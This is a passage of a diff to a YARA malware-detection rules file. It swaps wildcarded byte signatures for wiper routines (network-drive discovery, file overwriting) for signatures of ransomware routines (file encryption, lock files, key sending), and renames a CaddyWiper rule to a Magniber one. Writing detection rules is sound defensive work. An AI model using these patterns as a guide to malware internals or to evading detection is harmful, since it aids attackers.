?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? - ?? ?? 8B 55 ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? - 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 - C4 ?? 8B 8D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B - 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 85 - C9 74 ?? 8B 11 8D 45 ?? 3B C8 0F 95 C0 0F B6 C0 50 FF 52 ?? 8B 4D ?? 64 89 0D ?? ?? - ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_shared_network_drives_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 7D ?? 89 BD ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? C7 - 47 ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A - ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 - C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? B1 ?? 88 45 ?? 0F 57 C0 8A 45 ?? BE ?? ?? ?? ?? 32 - C1 C7 45 ?? ?? ?? ?? ?? 0F 11 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 E6 - 6A ?? 68 ?? ?? ?? ?? 52 50 C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 32 85 - ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? - 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 - ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? - ?? 52 50 E8 ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A - } - $find_shared_network_drives_p2 = { - 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 - F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? - ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? - 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 32 85 ?? ?? - ?? ?? 8D 4D ?? 88 85 ?? ?? ?? ?? 8D 51 ?? 0F 10 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 0F 11 45 ?? C6 45 ?? ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 45 ?? 51 - 50 8D 4D ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 45 ?? ?? - 0F 57 C0 89 8D ?? ?? ?? ?? 0F 11 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 4D ?? 66 66 66 - 0F 1F 84 00 ?? ?? ?? ?? 8A 84 35 ?? ?? ?? ?? 32 C1 88 44 35 ?? 8B C1 F7 E7 6A ?? 68 - ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 46 8B C8 83 FE ?? 72 ?? 0F 10 45 ?? 8B BD ?? ?? ?? - ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 8D 51 ?? 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? - ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CA 8D 45 ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? - ?? ?? ?? 89 B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A - ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 51 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? - ?? 8B CF C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 51 ?? 8A 01 41 84 - } - $find_shared_network_drives_p3 = { - C0 75 ?? 2B CA 51 57 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 - ?? 8D 4D ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 83 CE ?? 51 0F 10 00 68 ?? ?? ?? ?? 6A ?? 0F 11 45 ?? 89 B5 ?? ?? - ?? ?? F3 0F 7E 40 ?? 66 0F D6 45 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 - ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 85 - C0 0F 94 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B - 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 - ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 83 FA - ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? - 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 80 BD ?? ?? ?? ?? ?? 0F 84 - ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? 51 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? - ?? 0F 84 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 8B CE C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 56 8D - 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 75 ?? 8B 7D ?? BA ?? ?? ?? ?? 0F 43 75 ?? 33 C9 - 85 FF 74 ?? 0F 1F 40 ?? 0F B6 04 31 41 33 C2 69 D0 ?? ?? ?? ?? 3B CF 72 ?? 23 95 ?? - ?? ?? ?? 8B BD ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B - 04 D7 8B F0 89 85 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 3B C1 75 ?? 8B C1 EB ?? 8B 44 D7 + $encrypt_files_1 = { + 00 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? + 26 DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? 13 ?? 02 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 28 + ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? [1-2] 02 72 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 [1-2] 20 + ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F + ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 02 7B + ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ?? + ?? ?? 13 ?? 11 ?? 16 } - $find_shared_network_drives_p4 = { - 8B 00 3B F0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 4E ?? 8B 79 ?? 8D 55 ?? 0F 43 55 ?? 83 - 79 ?? ?? 72 ?? 8B 09 3B 7D ?? 75 ?? 83 EF ?? 72 ?? 0F 1F 80 ?? ?? ?? ?? 8B 01 3B 02 - 75 ?? 83 C1 ?? 83 C2 ?? 83 EF ?? 73 ?? 83 FF ?? 74 ?? 8A 01 3A 02 75 ?? 83 FF ?? 74 - ?? 8A 41 ?? 3A 42 ?? 75 ?? 83 FF ?? 74 ?? 8A 41 ?? 3A 42 ?? 75 ?? 83 FF ?? 74 ?? 8A - 41 ?? 3A 42 ?? 74 ?? 1B C0 83 C8 ?? EB ?? 33 C0 85 C0 74 ?? 8B 36 8B 95 ?? ?? ?? ?? - 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? 50 8D - 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 84 C0 0F 45 F7 EB ?? 8B - BD ?? ?? ?? ?? 8B F1 8D 4D ?? E8 ?? ?? ?? ?? 3B F7 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? - ?? 8D 7D ?? 83 7D ?? ?? 8B CE C7 45 ?? ?? ?? ?? ?? 0F 43 7D ?? C7 45 ?? ?? ?? ?? ?? - C6 45 ?? ?? 8D 51 ?? 90 8A 01 41 84 C0 75 ?? 2B CA 51 56 8D 4D ?? E8 ?? ?? ?? ?? 8D - 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? - 68 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 10 00 0F 11 45 ?? F3 0F 7E 40 ?? 66 0F D6 45 ?? C7 40 - ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? FF B5 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? - 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 78 ?? ?? 72 ?? - 8B 00 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 + $encrypt_files_2 = { + 72 ?? ?? ?? ?? A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 72 ?? ?? ?? ?? A2 11 ?? + 19 72 ?? ?? ?? ?? A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 + ?? 1C 72 ?? ?? ?? ?? A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 72 ?? ?? ?? ?? A2 + 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? + ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? + 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? + ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? + 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 + 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? + ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? + 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? + ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? + 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 + 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? + ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? + 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? + ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? + 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 + 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? + ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? + 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? + ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? + 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 + 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? + ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 } - $find_shared_network_drives_p5 = { - 75 ?? 66 66 0F 1F 84 00 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? 8D 85 ?? ?? - ?? ?? 50 56 8D 85 ?? ?? ?? ?? 50 6A ?? 57 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 - 74 ?? 56 3D ?? ?? ?? ?? 75 ?? 81 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? EB ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 - F6 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? 85 F6 74 ?? 8B BD ?? ?? ?? ?? 8B 4F ?? 39 4F ?? 74 ?? 8B D6 C7 41 ?? - ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? 8D 7A ?? 0F 1F 80 ?? ?? ?? ?? 8A 02 42 84 - C0 75 ?? 2B D7 52 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 40 ?? ?? EB ?? 8D 85 ?? ?? - ?? ?? 50 51 8B CF E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 30 8D 85 ?? ?? ?? ?? 50 8B 7E ?? 57 56 E8 ?? ?? ?? - ?? 8B 8D ?? ?? ?? ?? 8B D0 B8 ?? ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ?? ?? ?? ?? 41 89 8D - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 56 ?? 89 17 8B 85 ?? ?? ?? ?? 8B 00 50 83 C0 ?? 50 - 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 - ?? ?? ?? ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD - ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 41 89 8D ?? ?? ?? ?? 81 F9 - ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? - 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? - 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 + $lockfile = { + 02 7B ?? ?? ?? ?? 16 FE ?? 3A ?? ?? ?? ?? 21 EA 17 ?? ?? ?? ?? ?? ?? ?? + 03 73 ?? ?? ?? ?? [2-4] 6F ?? ?? ?? ?? [2-4] 21 00 65 CD 1D + 00 00 00 00 FE ?? 16 FE ?? 2D ?? [2-4] FE ?? 16 FE ?? 2D ?? 03 28 + ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? [1-2] 28 ?? ?? ?? ?? [1-2] + 6F ?? ?? ?? ?? [1-2] 02 ?? [1-2] 28 ?? ?? ?? ?? [1-2] 03 [1-2] 28 ?? ?? + ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? [1-2] ?? FE ?? + 16 FE ?? 2D ?? 2B ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 2B ?? 03 28 ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? [1-2] 28 ?? + ?? ?? ?? [1-2] 6F ?? ?? ?? ?? [1-2] 02 ?? [1-2] 28 ?? ?? ?? ?? [1-2] 03 + [1-2] 28 ?? ?? ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 2A } - $overwrite_files_1 = { - 55 8B EC 83 EC ?? 53 8B 5D ?? 56 8B 75 ?? 53 56 FF 75 ?? 89 5D ?? E8 ?? ?? ?? ?? 83 - C4 ?? 3B C6 0F 85 ?? ?? ?? ?? 3B D3 0F 85 ?? ?? ?? ?? 57 8B 7D ?? 33 C0 89 45 ?? 85 - FF 0F 84 ?? ?? ?? ?? 8B DE 6A ?? FF 75 ?? FF 77 ?? FF 77 ?? E8 ?? ?? ?? ?? 8B FA 8B - F0 8B 45 ?? 57 56 FF 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 03 DE 89 45 ?? - 8B C2 13 CF 89 45 ?? 39 5D ?? 75 ?? 3B C1 75 ?? 8B 7D ?? 33 F6 8B 1F 0F AF 5D ?? 85 - DB 74 ?? 8B 45 ?? 8B FB 2B FE 3B C7 0F 42 F8 57 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B - 45 ?? 83 C4 ?? 03 F7 80 7D ?? ?? 75 ?? 3B F0 74 ?? 3B F3 72 ?? 8B 7D ?? 8B 45 ?? 8B - 5D ?? 01 75 ?? 50 53 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B C3 75 ?? 3B 55 ?? 75 ?? 8B - 7F ?? 89 7D ?? 85 FF 0F 85 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 + $lockdir = { + 03 28 ?? ?? ?? ?? 0A 03 28 ?? ?? ?? ?? 0B 16 0C 08 06 8E 69 FE ?? 2C ?? + 00 06 08 9A 28 ?? ?? ?? ?? 0D 05 09 28 ?? ?? ?? ?? 16 FE ?? 2D ?? 02 25 + 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 06 08 9A 04 28 ?? ?? ?? ?? DE ?? + 26 DE ?? 26 DE ?? 08 17 58 0C 2B ?? 16 0C 08 07 8E 69 FE ?? 2C ?? 00 02 + 07 08 9A 04 05 28 ?? ?? ?? ?? 02 07 08 9A 04 28 ?? ?? ?? ?? DE ?? 26 DE + ?? 26 DE ?? 08 17 58 0C 2B ?? 2A } - $overwrite_files_2 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B 75 ?? 8D 85 ?? ?? - ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 32 DB 50 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7E ?? ?? 72 ?? 8B 36 56 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? - 83 FF ?? 0F 84 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 - ?? ?? ?? ?? 80 B8 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? - 89 B5 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 DB E8 ?? ?? ?? ?? 83 C4 - ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 53 - 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 75 ?? 85 D2 75 ?? 68 ?? ?? - ?? ?? FF B5 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 75 ?? 50 E8 ?? ?? - ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? - ?? ?? 8B F0 8B C2 50 56 57 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B C6 75 ?? 3B - 95 ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 53 57 E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 6A - ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 0B C2 75 ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 0F - B6 DB 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 D9 8B B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 85 F6 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 - ?? 8B 4D ?? 8A C3 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 68 ?? ?? ?? ?? 57 - E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 85 D2 0F 85 ?? ?? ?? ?? 50 - 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 + $sendkey = { + 00 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? + 0C 08 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 72 ?? ?? ?? ?? + 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F + ?? ?? ?? ?? 08 72 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 07 03 72 ?? ?? ?? ?? 08 + 6F ?? ?? ?? ?? 26 07 6F ?? ?? ?? ?? DE ?? 26 DE ?? 2A } condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_volumes_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $find_shared_network_drives_p* ) ) and ( all of ( $overwrite_files_* ) ) + uint16( 0 ) == 0x5A4D and ( ( all of ( $encrypt_files_* ) ) and $lockfile and $lockdir and $sendkey ) } -rule REVERSINGLABS_Win32_Trojan_Caddywiper : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Magniber : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects CaddyWiper trojan." + description = "Yara rule that detects Magniber ransomware." author = "ReversingLabs" - id = "ad437f29-4ad8-5a88-a0b6-03de55e7375f" - date = "2022-03-15" - modified = "2022-03-15" + id = "07b6c938-aa25-5ff6-95d2-9e0f84c41b41" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.CaddyWiper.yara#L1-L95" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Magniber.yara#L1-L114" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "178ff4171c09866f6b303bdff234beff1116d268995ee4dc236332e472d645b1" + logic_hash 